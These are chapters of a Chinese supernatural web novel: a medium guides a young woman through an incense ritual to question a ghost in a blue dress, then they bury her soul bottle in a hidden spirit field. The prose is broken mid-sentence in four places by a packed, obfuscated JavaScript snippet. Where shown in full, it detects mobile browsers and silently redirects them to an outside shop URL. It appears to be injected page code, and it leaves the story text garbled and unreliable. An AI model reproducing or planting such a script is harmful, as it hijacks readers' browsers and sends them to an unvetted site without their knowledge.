于是,左阅看着张栩:“不好意思,刚才打扰了,现在开始吧。” 张栩倒了些无根水出来净手,先转身对夏夏吩咐:“等会你抱住狗,只要狗叫了,就要按住它,不让它一直吵。” 夏夏吞了一口口水,点点头。 张栩重新站到桌子旁边,拿起左阅左手边的三根黄色香,凑到蓬勃有力的烛火之上,他歪头看着左阅,十分郑重:“一香陈情,二香问事。现在是第一炷香,也就是陈情香,请你这一炷香燃尽之前,表明身份,把之前的遭遇事无巨细讲清楚,不得隐瞒和曲解。” 左阅板正地坐好,就像是等着回答老师提问的三好学生,她舔舔嘴唇:“好。” 香头亮起来之后,香烟向上,冉冉升起,同时迸发出一股清苦的味道,但又有点好闻,说不清到底是什么香。 张栩把这一炷香插入米碗之中,左手抱住右手,弯腰作揖,行礼的同时,口中念念有词:“前因不叙,则后果无凭;心念不诚,则青烟不升。” 这一套行云流水地做完之后,张栩对左阅做了一个请的姿势。 随后,在这青烟袅袅之中,左阅从那个山坳里的下午开始讲起,把这几天所经历的事情,尤其是那个梦中梦,详细描述了一遍。有些不太确定的细节,左阅也都说了下,因为她实在想知道梦中那条狗究竟怎么回事。 左阅讲到口水都干了,这一炷香正好燃烧殆尽,最后一点红光消失后,清灰掉落在米碗之中。 张栩看着最后烧完的香灰,松了一口气:“这一部分结束了。” 就这样结束了? 也没有多可怕嘛,左阅浑身松快起来,她不自觉活动了下脖颈,对旁边的夏夏还有土豆使了个眼色。 张栩低着头净手,准备开始第二部分。 左阅问他:“之前你让我准备的三个问题,等会再问?” 张栩点头:“刚才你做得很好,接下来的部分,和故人对谈的时候,继续保持,我会在中间帮忙——” “对谈?”左阅身体往后靠一些,伸手抱住自己,和眼前的陌生男子也和对面空着的板凳拉开距离……她魂都要被吓飞了,“你是说我要和她面对面交谈?” 和另一个世界的访客面对面?她还没有做好准备,不,她不可能做好准备。虽然说她好奇心旺盛,好奇对方长什么样子,长头发还是短头发,多大年纪,有怎样的经历……但是她也很清楚,好奇心会害死人,不该知道的千万不能知道。 张栩倒是处变不惊:“有两种方式,第一种是你和故人面对面,我作为中间人,传达故人的意思给你;另一种方式,是让故人把我作为媒介,直接和你谈话。” 左阅嘴唇颤了一下,她一时之间无法分辨哪种更可怕…… 她抬头看了下张栩,难以置信地甩甩头,她真的无法想象,一个男人像女人一样发出尖锐的声音……她毛骨悚然,问:“无论怎样,你说的故人都会在场,对吧?” “你要问她问题,她当然要来。” 左阅吞了口水:“那就请你在中间帮忙沟通吧,感觉你保持清醒的话,会稍微好点。” 张栩笑着点点头:“不用过于担心。” 夏夏忍不住问他:“所以你的职业,是类似于古代通灵巫婆的那种吗?” “不错。”张栩从身上的斜挎布包里面掏出了一个黄褐色的光溜溜圆柱体,这圆柱体充其量也就一指粗细,上面有个木塞,看起来像是某种瓶子类的法器。 夏夏看的一愣又一愣,抱着土豆的手更紧了。 左阅赶忙又问:“确认下,等一会儿,什么问题都可以问吗?比如说……我做的梦,到底有什么意思。” 她想了想,还是先不提灰灰的事。 张栩点头:“当然。你刚才说的那个梦中梦,正是故人给你留的信息,也和她逗留在山坳中的执念有关。当然,具体是怎样的信息,以及为何她会跟随你离开,你想问的话,都可以问。不过,你要想好自己真正要问的问题,你只有一炷香的时间,三个问题。” “等等,这种……你是说,故人跟着我离开,是有特殊原因的?”左阅一直以为,这种事情会发生在每个人身上,只是有些人没有察觉而已。 “是,故人会跟着你,一定程度上,是因为你们一部分磁场同频,或者说是某种缘分,让你们绑定在一起,就像是卡扣一样。”张栩放松地给她们科普,“当然,你去的那个山坳,风水确实很不错,一般来说,有执念的故人,更容易停留在那里。但也因为那个位置非常稳定,所以故人一般是不愿意跟着别人离开的,也不太容易被处理。我此前发现了她,但是劝其离开失败了。” 一时气氛温和了许多,紧张也消失了。 左阅恍然大悟:“哦,难怪上次在台阶那里看到你,像是在找什么人,你是在这个女孩子吗?” 张栩脸色严肃:“你怎么知道她是女孩?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如果实在害怕的话,你可以闭上眼睛。” “好吧。”左阅稍微能接受一点点了。自作孽不可活,现在是骑虎难下了。她索性现在就闭上眼睛。 张栩拿起瓷瓶,拔开木塞,递给左阅:“这是魂瓶,双手拿好。” 左阅睁开眼睛,硬着头皮接过来,紧紧捏在手心里。 张栩转身再去净手一次,然后拿起右边的三支红色细香,点燃之后插入到米碗之中。这一次的香,像是檀香,不过香味特别浓郁,看样子燃烧时间会更短一些。 “现在正式开始,如果有任何问题,我会提醒你。”张栩再次左手抱住右手作揖,然后从背着的布袋的最下面掏出一个喇叭花大小的引魂铃来。 这铜铃,左阅见过,不过她这才发现,这铜铃上似乎有刻着的密密麻麻的文字:“每一次问问题的时候,记得摸一下魂瓶。” 张栩抽掉铜铃下的疑团纸,轻轻摇晃铜铃,清脆的铃声有节奏地响起来,他口中念念有词:“前因已禀,旧事已成,今焚此信香,香火为桥,心念为路,三问三答,阴阳共渡,恭请现身一见。” 5. 第二炷香 张栩一说完“恭请现身”四个字,左阅吓得赶紧闭上了眼睛。 等了一会儿,左阅没有听到任何声音,倒是能感觉到另外两人一狗的屏息凝神。 随后,突然一阵浓烈的檀香味,爆燃起来一般,强势钻进了鼻孔里。 “汪汪汪——汪——”是土豆大叫的声音。 左阅的心脏被吓得一颤又一颤的,她膝盖上交握的双手掐得紧紧的,但还是忍不住颤抖——所谓的故人,已经来了吗?是不是就坐在她对面呢? 土豆还在持续叫嚷着,头往前伸,想要打架,屁股往后撅,非常诚实地害怕。 即使夏夏非常努力地圈住它,把它压在床上一动不动,它还是要叫。 这可不行。现在十二点了,万一把别人吵到了,会上门投诉的。 左阅假装什么都没有发生,依旧闭着眼睛,转头朝着床的方向,“嘘——”她让土豆别叫了。 土豆这时候倒是挺有颜色的,立刻不叫了,但是喉咙里还叽里咕噜地冒出威胁警告,好叫别人知道它不是好惹的。 房间里一下安静下来,左阅心头的恐惧扑过来,就像海啸。 这个时候,张栩的手掌搭在她的肩膀上,非常稳。 所有海啸都退后,左阅的肩膀不再抖动,膝盖上的双手也不再颤动。是啊,她没什么好怕的,旁边还有一个专业人士呢。 张栩说:“开始了。” 左阅依旧闭着眼睛,点头,回正,就在这一刻,她的脑子里浮现出了一幅异常清晰的画面——她坐在一张铺满白布的桌子前面,面前一炷红色的细香正在缓缓燃烧,香头的烟雾如同流水一样潺潺流出,缭绕在桌子上方,而对面,竟然有两只苍白而纤细的手,松松的搭在一起…… 很明显,对面坐着一位优雅的女士,只不过左阅并不能够看到对方的全貌,她看到的场景,更像是站在别人家的贴纸玻璃外头,从撕破的一条贴纸缝里偷窥到的视角。 视角中的女士,她穿着一件宝蓝色的长袖长裙,偏欧式的设计,袖子上有繁复的蕾丝,同时她的手指非常干净,还涂着浅肉桂色的指甲油,指甲很有光泽,反射着跃动的烛火。 一切如此的清晰明朗,三支细香安静地燃烧着,气氛十分平静,至少比左阅想象的要平静许多。 左阅愣神的间隙,对方突然发话了:“没想到你会主动来找我,还以为你是个胆小鬼呢。” 秀气,但好听的声音。 张栩收回左阅肩头的手,拉起左阅膝盖上的手到桌上,将铜铃放在她手中,提醒她:“第一个问题。” 左阅打起精神来,她轻轻摸了一下魂瓶,然后问出第一个问题:“你为什么要跟着我?” 对于这个问题,左阅有过很多猜测,比如说对方讨厌她,或者是上辈子有什么欠债没有还。 “是你诱骗的我。” “啊?”左阅一脸懵,怎么变成她的锅了? 结果,对面的女士轻笑着说:“那天你写的日记实在太有趣了。” “日记?”左阅满脸问号,问题是,她也想不起来当时到底写了啥,“我当时也没写啥吧。” “你当时对天发誓,再也不会迁就任何人的想法,余生都要按照自己的意愿去生活。” “就这?”左阅震惊,“这种鸡汤网上到处都是。” 不至于到诱骗故人的程度啊。 “但我当时能看出来,你是真的下定了决心,允许自己发财,你的计划也切实可行。”这位蓝衣裙的女士哈哈笑起来,“你可能不知道,你当时多么可爱。我在旁边坐着的时候,对你的人生很动心,恨不得跟着你回去看看。” 感觉被嘲笑的左阅:“……想要发财,人之常情嘛。你跟着我,是因为你也想要发财?” 她现在很穷,吃了这顿都不知道下顿在哪儿。 “我最不缺的就是钱。”蓝衣裙女士的声线冷下去。 左阅被噎了一下,好吧,这就是有钱人的辣臭味。 蓝衣裙女士继续道:“不过……是用其他东西换的。” 左阅试探着问:“自由?” 对方许久没有说话。 “不好意思。”左阅轻轻摸了下魂瓶,离开地雷区域,“第二个问题:我后来做的梦中梦,里面有一封信,信里说想要做博主,请我帮忙运营……这是你的意思吗?” 说实话,一个故去的人,想要做博主,还要托梦找人运营账号,简直离谱,左阅都不大好意思说出来。 对方的声线依旧沉稳冷静,但已经从某种沉沦中醒过来:“不错,我是想要请你帮忙。” 左阅有点坐不住了,她想要拒绝这位女士,但是一时找不到高情商的措辞。 “请你帮忙是因为,我到了人生最后一刻,才意识到,我对自己不满意。”蓝衣裙女郎自嘲地笑了,“过去为了证明自己是优秀的,匆忙地往前跑,做着自己不喜欢的事,只是为了追逐别人认可的成功……” 她的声线再次低沉下去。 左阅想起那封信里,女士说要展示自己的画,于是她问:“你遗憾的是,没有以自己想要的方式被看到?” 又是一阵沉默,左阅咬牙忍住,等待。 女士叹息一声,她抬起双手,捂住了脸:“是的,我想要被看到,想要世界看到我是我,而不只是闪闪发光的我……但是过去太匆忙了,完全没发现,竟然在用自己最宝贵的人生去向别人证明,简直糊涂至极……” 失去了自我,就算费尽千辛万苦站在了领奖台上,也是错误的领奖台啊。 左阅两只手交握在一起,喃喃的说:“之所以你会被我的日记吸引,是因为你发现了另一种人生的可能性吧……” 藏在宣誓里的,是一种曾被忽视的宝贵可能性,是一种为自己而活的可能性,虽然它看起来如此的贫瘠。 “这些年,我一直想要尖叫,这不是我想要的,这不是我想要的!”女士的声音变得尖锐起来,随后又变得沉重下去,“我忘了自己真正应该走的路,真正应该做的事,忘了我人生的使命。我本该早一点发现这一点的,如果在20岁的时候就能够意识到这一点,该多好……我想要重新开始,我要在这个世界上留下一丝丝的属于我的痕迹,告诉这个世界,我曾经来过。” 女士纤细的手指,第一次收拢,变成了拳头。 “说到‘本应该’三个字,我觉得你对自己太苛刻了。我相信每个人在当下的处境,已经是自己历尽千辛万苦之后所做出的最优选择,虽然不那么尽如人意,但也不该被苛责。你要求一个20岁的年轻人找到毕生的使命与意义,这本身是相当苛刻的。” “经过你这么一说,我开始有点怪自己生命过于短暂了。”蓝衣裙的女士无奈地笑了笑。 这一次,左阅沉默了,故意的。透过缭绕的烟雾,她看着对方松开的两只手,悠闲地倚靠在桌面上,似乎等待着某种回音。 终于,蓝衣裙女士等不住了,她问:“这一次,连你也不知道怎么安慰我了吗?” “是的,对于绝大多数人来说,在年轻的时候,对未来还有很多渴望和期许的时候,生命突然中断,都是残忍和遗憾。”左阅知道,此刻安慰是无力的,只有直面悲伤的事实,才能获得平静。 “你倒是挺坦诚的,我很喜欢你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329111|199155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一个故人,希望你帮忙运营账号,还说喜欢你……emmm左阅压力山大,她不停抠着手指,纠结着该怎么拒绝。 就在这个时候,张栩突然凑到她耳边,轻声提醒她:“抓紧时间。” 左阅这才注意到,那三支细香,竟然已经燃烧到了尾声。 时间过得如此之快!她还有很重要的问题没有问呢。 左阅咬咬牙,单刀直入:“非常抱歉,我要跟你坦白另一件事。那就是虽然我能理解你的想法,但是——我没办法帮你运营账号,因为我的时间也不多,你听过我的日记,应该知道,其实我的时间也不多,我——” “不好意思,让你为难了。你想拒绝,是你的自由,你不必给我任何理由。”女士感叹道,“其实,刚才和你说的那些,我已经放下了。” “放下了?”左阅满脸震惊,差点就睁开了眼睛。 “给你托梦那封信之后,我就意识到,原来我始终停留在这个世界,不过是因为我对这个世界仍旧有执念,那就是以自己的方式在世上存在过。但是讽刺的是,”蓝衣裙女士悲凉地笑起来,“我才发现,我已经没有时间去实现这个执念。再怎么执着,也不会有任何结果。” 说到这里,左阅感受到氛围中格外浓重的悲伤。而桌上的烟头明明灭灭,烟雾似乎也变得更重了一些,在空中盘旋着,久久不消散,如同雨雾一般密不透风地笼罩。 “也许以后会有——”左阅咬住嘴唇,这种暗卫实在太过于虚伪了,于是她转而说,“至少我会记得你曾经存在于这个世界上,因为你,我会更有勇气拒绝不适合我的任何请求,我也会更加努力地珍惜时间,去创造我想要的人生。” 当我们的轨迹交叉,我们对彼此都有了意义。 说完,气氛似乎温和了许多。 “谢谢你。” 左阅非常着急,摸了魂瓶:“第三个问题,我想要知道灰灰究竟怎样了。它是被人领养了,对吗?” 这是她必须要得到的答案。 温和的声音响起:“你已经知道结果了,不是吗?” 左阅使劲摇头:“我不知道,我想要确切的结果。” “事情已经过去,你不要再自责、遗憾了,它愿意来找你告别,说明它很感谢曾经的缘分。你抓住遗憾不放,只会折磨自己。遗憾的意义,是告诉我们未来要做得更好一些。你还有很多未来呀。” 左阅虽然看不到对方的脸庞,但是她明显感觉到对方红唇微启,就像是一只艳丽的蝴蝶扑棱着翅膀,最后轻轻叹息后,微笑上扬,作为结尾。 左阅还想要继续追问,可是对面已经一片平静,对面那只白色的手渐渐消失,还有蓝色的长袖如同花朵一样瞬间枯萎褪色。 她无法置信,睁开眼睛,想要看清楚,可是一切都消失不见了,香头最后沽涌了一下,灭了,最后一缕烟也断了,只剩下摇曳的红烛。 张栩看着她,轻轻说:“结束了。” 床上按着狗的夏夏,呲溜一下蹦下床,侧头打量张栩:“终于结束啦。” 虽然将近凌晨一点了,可是她现在一点睡意也没有。经过刚才两个多小时的见识,她打量张栩,带着尊敬的滤镜,感觉那一身的黑色运动服都十分与众不同,或许类似于古代的道士服。 土豆赶忙从床上蹦下来,去到左阅旁边,舔舔她垂着的手指。 左阅终于缓过来一些,她把手心的魂瓶递给张栩:“我先去躺会,你收拾完了,让我朋友帮忙关门吧。” 两眼发直,感觉浑身的力气都被抽空了。 张栩看了她一眼,没接魂瓶:“你的事还没完。” 6. 安置魂瓶 “还没结束?”左阅惊呆,她都打算直接睡了。 简直没完没了了。 张栩指着她手上的瓶子解释:“这是魂瓶,你把已故人的魂魄收了,就要负责把她送去安置。” “你……”你早说啊,早说的话,宁愿看一个男的被鬼上身了,左阅欲哭无泪地看着手中的那个小瓶子,讨价还价,“一定要去吗?应该可以不用去吧,大半夜的外出有点吓人啊。” “没关系,我会和你一起。”张栩低头去收拾一桌子的法器。 ……左阅长叹一口气,谁家好人半夜十二点过了,还在马路上晃荡?虽然她不工作了,没有早起的必要了,但是她还是很爱惜身体的,晚上11:00之前睡觉是她的铁律,而且……她真的胆子不大啊。 左阅鼓起勇气,站到张栩面前:“我真的很怕很怕,刚才的仪式把我吓疯了。” 夏夏也探头在一旁搭腔:“是啊,你们这个不应该是一条龙服务吗?” 张栩淡淡打量左阅一眼,意味不明:“目前为止,魂瓶和你都是绑定的,只有你把它送去安置,才能完成整个仪式,否则,她不得安息,这是你想要的结果吗?” 看着手中的魂瓶,左阅把嘴边的话憋回去了,转身去开了客厅的灯,还把窗帘拉开了。 收拾好东西后,夏夏带着土豆钻被窝了,左阅则坐着张栩的小电驴,出发去安置魂瓶。 原本,左阅想要骑自己的小电驴,但是张栩说不行,因为他们要去的那个地方需要通行证,一般的电动车去不了。 神秘兮兮的,左阅也没有多问,只想赶紧处理完,赶紧回来钻被窝。 张栩启动小毛驴的时候,说:“放心吧,很简单,不会有危险,弄完我送你回来。” 听起来像是在安慰人,只不过有气无力的样子。 左阅问他:“你不会是骗我的吧。刚才我看你一副有气无力的样子……如果仪式中出了什么事,你不用隐瞒,都可以跟我直说。” 张栩愣了一下,随后似乎是苦笑了一声:“没有出任何问题。” 他强调了“任何”两个字。 左阅只是感觉有点古怪,但是没有注意,她现在终于放心了:“哇哦,运气真好!” 简直不可思议,这种事看起来也不是很难嘛,问三个问题,竟然就能收了魂魄。虽然不知道其中原理是什么,但是左阅也觉得自己真是棒棒哒。 虽然快要入冬了,但是今晚的夜风依旧是带着暖意的,两旁路灯散发着橙黄的光芒,张栩的脸色却更加的沉重。 就在这时,左阅注意到小电驴靠边了,她紧张地抱紧了黑色运动包,她指着前面不远处:“你不会是要右拐吧……” 张栩没有听清楚,他回头侧耳的时候,已经拐过去了:“怎么了?” 左阅“额”了一声后,看着空无一人的街道和寥寥的汽车,说:“算了,没事。” 她才想起来,张栩是专业人士,就算真的有什么风险,他应该会更快发现吧。左阅闭了嘴。 “有话你可以直说。”张栩加大小电驴的马力,这一段路坡度并不大,但是爬的有些吃力,速度减慢明显。 左阅欲言又止,望着远处的坡顶,还是说:“要不,我们过马路到对面的路肩上走吧。” “为什么要逆行?”张栩皱眉。 就在这个时候,一阵摩托车轰隆着靠近。 摩托车原本可以轻易超过去,却减慢速度,和他们齐头并进,打了个手势。 于是两辆车在路边停下来,摩托车上是个小年轻,他取下头盔,摸了一把挑染金色的秀发,打量一眼左阅。 左阅也看回去,这小年轻十分的意气风发。 小年轻对张栩说:“师兄,杨师伯打你电话不通。” 张栩拿出手机一看,不知道什么时候打开了飞行模式,忘了开:“好,多谢。我等会给师父回复。” “别老是磨叽,当断则断。”小年轻交代完,戴上头盔,踩着油门,“轰——”地跑了。 左阅看着他的背影,一直看着。 张栩刚打开师父的电话,注意到左阅的神情不太对,问她:“怎么了?” 左阅歪头:“我感觉,前面可能有危险。” 她刚说完,“砰——”一声,小年轻正在坡顶,连人带车滑出去,痛得直叫。 左阅赶忙捂住嘴巴。 张栩赶忙骑上电动车过去,左阅也跟在后面跑过去。 她跑过去的时候,小年轻抱着腿直斯哈,还指着路边一处虚空大声叫骂:“你给老子小心点,等我回来了就收拾你。” 左阅看了看虚空,又特意绕开一点,尤其是摩托车旁边的那一摊水…… 显然,摩托车滑倒,是因为路边的那一摊水。照说这是柏油马路,摩擦系数是够的,但有时候意外很难预料。 张栩把摩托车挪到一边,给师弟把脚挪出来,又帮他仔细检查了一下:“膝盖能动吗?” 小年轻动了动,虽然有些疼,但还行,他摸了一把膝盖下的血迹,把浅蓝色的牛仔裤浸染了。 张栩说:“应该没有伤筋动骨,只是挫伤。” 左阅在一旁看着,看得龇牙咧嘴,她感觉自己的腿也疼…… 远处有一辆汽车过来,张栩把师弟挪到一旁,另外让左阅给打个120。 左阅懵懵的,这才想起来,打了个急救电话。好在附近就有个大医院的分院,救护车过来,应该要不了多久。 而在等救护车的过程中,小年轻一直对着虚空中大骂、痛骂。 听他的意思是,路边有个已故人故意恶作剧,把他拉下来,害得他中断任务,还得去医院里。但是旁边的路肩上空荡荡的,什么人也没有,而且路肩之外是一旁荒芜,是个没有开发的小山包,长满了杂草和树木。 张栩却见怪不怪一样,阻止师弟胡闹,注意到一旁沉默到有些异常的左阅。 左阅转过头去,不跟他对视。 张栩从上衣口袋里掏出那个喷壶来,对着一滩水的旁边喷了一下,于是在昏黄的路灯后,一个绿色的影子出现了,它足有一人高。这影子中的莹莹绿色,不停飞舞着,慢慢变成灰色的烟灰一样,湮灭在灰暗中。 左阅吓得退后一步。 小年轻却斯哈着笑了。 “你笑什么?”左阅目瞪口呆。 小年轻看了一眼师兄张栩,说没什么,然后抱着腿嘶哈嘶哈起来。 这眼神,左阅见过,在班上学霸给学渣讲题的时候,不过,她也不好说什么,毕竟张栩本人看起来似乎也不在意。 张栩对上左阅的目光,平静地问她:“你怎么知道这附近有问题?” 小年轻转头,望着左阅非常震惊:“你也能看到他们?” 不是他,而是他们……?左阅吓得缩了缩脖子,她吞了一口口水:“不能。我只是感觉。” “感觉?”小年轻还是第一次遇到这种情况。 张栩替她解释:“她应该是通过识海感知到的。” “这样啊。”小年轻上下打量左阅,说:“你还是有本事的嘛,说真的,要不要加入我们这行?” 左阅保持礼貌的微笑,坚定地摇头:“谢谢,不用了。” 她身体扛不住每天晚上这么折腾,而且她更喜欢有阳气的生活状态。 小年轻疼得实在不行,就想找点事转移注意力,于是一个劲地劝左阅加入他们。 左阅没办法只好说:“其实我也不完全是感觉,而是我曾经在这里看过一个事故……” “事故?”小年轻问。 左阅指着地上的一滩水解释—— 旁边的那个消防栓可以放水,所以经常有车停在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你的识海是一面镜子,可以让已故人看到自己的执念。而一旦执念被看到,就会自行消融。所以,你是很好的沟通中间人,这也是为什么今天的访谈如此顺利。” 是啊,今天结束的太自然了。左阅不可思议:“这就像是心理学上说的看到自己的潜意识吗?在看到自己内心意念的当下,就已经开始发生改变,即使还是会走到同一条河,但是每一次都会不一样!” “是的。一般来说,已故人之所以还逗留在这里,是因为他们还有某些执念。而执念是最难沟通的部分,也是很难被自我察觉的部分,这会导致对谈不那么容易。毕竟,人的痛苦,很大程度上是无法面对自己真实的人生而导致的。” 左阅如同醍醐灌顶:“我明白了,你说的沟通对谈,大概是让‘皇帝’知道,他没有穿‘新衣’。只是指出这一点的话,很容易让对方感觉到被攻击,除非ta自己已经准备好了,自己选择去发现。” 张栩非常惊讶地看了她一眼:“不错,对谈仪式的本质就是化解已故人的执念,让他们回归原本的轨道。” “化解执念?可是我今天什么也没有做,只是问了三个问题……而且今天那位已故人,她挺友善、讲道理的。”左阅不觉得自己做了什么。 正是因为你什么都没有做,所以才说你有天赋啊。张栩推着小电驴过人行横道,去对面的路上叹了一口气:“今天这位女士,早在入你梦的时候,执念已经被自己看到了。” 左阅惊喜地看着张栩:“梦里她托我帮忙运营账号,就是照见她没有完成的执念?” 张栩笑着点头:“是的,从这一刻开始,执念就会瓦解。” “但是如果执念开始瓦解的话,那是不是说,我根本不需要请你们帮忙送她?因为她自己会走啊。” “执念消解之后,他们同时就会失去指引,同时力量也会削弱,也就是说,他们不知道何去何从,也没有离开的力量。” “原来如此。”左阅和张栩肩并肩往前推车,她转头问他,“那你的天赋是什么呢?” 7. 种子-第一单元结束 天赋……这简直就是在往别人伤口上撒盐。这话脱口而出之后,左阅立刻转头对张栩说:“对不起,我不是故意的。” 张栩仰望着路边高高在上的路灯,路灯边上有两只飞蛾撞向明亮的灯泡:“没有关系。” 左阅很尴尬,于是赶紧想其他的话题:“你白天有工作,晚上还要出来做这样的事情,一定很累吧。” 张栩听到这里,自嘲的笑了笑,伸手揉了一下眼睛:“反正以后就不累了。” 说到这里,他忽然想起来什么事,于是停下来,掏出手机来拨打电话,手机屏幕上标注的是“师父”两个字。 他的神情有点严肃,望着远处的荒山,不知道在想什么。 左阅看着他的侧脸,听着电话里传来的铃声,她也跟着紧张。 许久,也没有人接听,张栩挂断了电话,坐到小电驴上:“我们先把自己的事情做完吧。” 左阅点了一下头,哈欠都上来了。 刚坐到后座,就听到张栩问了一句:“说真的,我师弟的想法,你要不要考虑一下?” “什么想法?” “要不要加入我们这一行?”张栩回头笑看着左阅,“你还没有想清楚未来要干什么,一时之间也没有收入,不如试试看?” 他笑起来的时候,整个眼睛亮晶晶的。 左阅被吓得哈欠都跑了,整个人往后仰,摇头再摇头:“不用了,我对此不感兴趣,也没有那个胆子。” 张栩没有继续勉强,启动小电驴,在夜晚的马路上飞驰起来。 左阅看着旁边飞驰的树木,然后过了一个十字路口,所有的景色突然之间切换了变成了陌生的荒野。四周是大片的草地,草地那边有一大片的树林,勾勒出黑色的剪影。 这究竟是怎么回事? 左阅很奇怪。她经常遛狗,可是从来没发现这里。 停下小电驴之后,左阅还忙着打量四周,她问张栩:“我们是到另外一个世界了吗?就像哈利波特可以穿过火车站的墙壁一样。” 张栩也望着远处,远处停着几辆小电驴和摩托车,解释说:“有点类似,但不是。这里更像是玄幻故事里的虚幻领土。它看着非常大,非常空旷,但其实是有边界的,它的边界就在树林那边。” 就在这时候,树林边上冒出几个移动的人影,他们弯着腰,似乎在树林边上挖坑。 左阅突然意识到:“那些人也是你的同行吗?” “嗯,他们也是刚完成任务,过来处理魂瓶的。” 原来如此,左阅仔细打量这一方天地,就像是刘姥姥进了大观园。 跟着张栩一路走,走到了入口,入口左右分别有颗大石头躺着,石头上分别写了两个字——云、雾。两块石头中间有非常规整的九级阶梯,从这阶梯上去,就是无边的原野了。 但是在阶梯的最上面,似乎斜插着一个什么东西,看着像是一把剑,只露出了剑柄。奇怪的是,这把剑的剑鞘上面长满了青苔,仿佛被废弃了千百年,可是暗沉的木质剑柄被人摸得光溜溜的。 左阅正准备凑过去看看,被张栩叫过去。 两人一路走到树林的边缘,张栩从旁边一个木桶里面,抽出两把铁锹来,递给左阅一把,让她一起挖坑。 该说不说,挖坑这件事情,比想象的累多了,左阅累得满头是汗。 一直挖到洗脸盆那么大,张栩才停下来,让左阅到旁边去休息一会儿,他接着干。 左阅站在一旁直喘气,观察四周被挖过的新坑,坑里是翻过来的土堆,土堆上头压着一颗石头。再就是远处的树林,她眯着眼睛看了好一会儿,正准备起身往树林那边看清楚点,张栩叫住了她:“跟着我一起做。” 张栩先从身上掏出了师弟交给他的黑色的布袋子,布袋子里面是雷击桃木芯做的魂瓶。他两手捏住,轻轻把它倾倒到坑里。 左阅掏出兜里的魂瓶,也把它倒出来,有模有样的学。 紧接着,一缕烟似的东西,从瓶口坠入了泥巴坑里,就像一粒种子落入地里。左阅目瞪口呆。 “闭上眼睛,跟着我一起念。”张栩闭上眼睛。 左阅赶忙闭上,跟着他磕磕绊绊的念出下面一段话:“前缘已了,旧债已书……此方净土,今为灵田……净汝匮执,生汝灵株……待得花开果熟,引汝重踏归途。” 念叨完毕之后,学着张栩的模样,左阅把周围的泥土重新归入坑中,埋好。 张栩从兜里面掏出两块石头来,两人压在了泥土的尖尖上面,鞠躬三次。 张栩说:“我带你回家吧。” 啊,事情终于完了,左阅长长的舒了一口气。 不过她还是有点好奇,于是指着不远处的树林,问他:“这是什么树?为什么这上面结的果子形状都不太一样,颜色似乎也不太一样……” 有种榴莲、菠萝、苹果、香蕉在一棵树上乱炖的任性感……到底是真树还是假树? 这样说着的时候,左阅往树林那边走过去两步,想要弯腰伸手摸摸旁边的小灌木。 张栩一个箭步冲过来,拉住了她的手,大喝一声:“不能碰!” 左阅被吓了一跳,缩回不安分的手,问他:“是不是有毒?” “在这里种下的每一颗种子,最终都会长成一棵植株。当然,他们可以自由选择成为什么样的形态,结出怎样的果子,这些都是它们的因果。不可随意沾染。” 左阅倒吸一口凉气,吓得赶紧把自己的手背在背后。难怪这些同行都是在树林外围种植,而不会进到树林里的空地。 就在这个时候,不远处有一群人走过来了,他们也安置完魂瓶,准备离开,纷纷跟张栩打招呼。 很多人都叫张栩师兄,只有一个个子特别高的男生叫他师弟。 一群人打完招呼就走了,只有这个高个子的男生留下来了,他拍了拍张栩的肩膀:“听说你已经考虑好了,什么时候走?大家打算给办一个欢送会。” 张栩停顿了一下,说:“还在考虑。” 高个子的男生再次拍了拍他肩膀,笑着走了。 一时间,空旷的草地上只留下了张栩和左阅两个人。 左阅站到张栩的旁边,问他:“你是不打算干了吗?” “嗯——”张栩有些尴尬的笑了笑,“之前确实是打算干完这一单就不干了。” 最后一单……左阅突然想起来,无名旧书屋旁边的留言簿上,那最后一张白纸。 原来,她是张栩的最后一位顾客。 两人慢慢走到了入口处,又遇到了那一把剑。 左阅问张栩:“这是什么?” 刚才张栩的那些师兄弟们,在走之前,轮流伸手过去摸了光溜溜的木剑剑柄,使劲儿往外拔,就像拔萝卜一样。不过没人拔出来。不过他们似乎也没有丧气,仿佛对此习以为常。 这让左阅的好奇心更加难以安放。难道它是什么可以增加运气的好东西吗?又或者是完成任务之后能让积分加倍? 张栩走过来,轻轻提了提那一块剑柄。剑柄依旧斜插在泥土里,一动不动。他解释说:“从云雾园建立开始,这个法器就存在,据说是一位祖师爷惯用的法器。不过到目前为止,没有人能够拔出来。” 左阅歪了下头,不置可否的问他:“每个来这里的人都拔一下,难道谁拔出来就归谁吗?” 张栩点点头,看着她说:“你想试的话就试试看。” 雀雀欲试的左阅笑了,她有点不好意思:“那我也试试看吧。” 说完,她打开手机上的照明灯,先蹲在地上观察这个剑柄,以及剑鞘上的青苔。 她用手指轻轻扒了一下,把上面的青苔扒下来一小块,说实话手感挺好的。只是没想到这个青苔竟然自己扑簌簌的落下来了,成群结队的。青苔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张栩对此倒是接受了良好,他无奈的抬了抬眉毛,反问一句:“今晚发生的事情,有哪一件是科学的吗?” 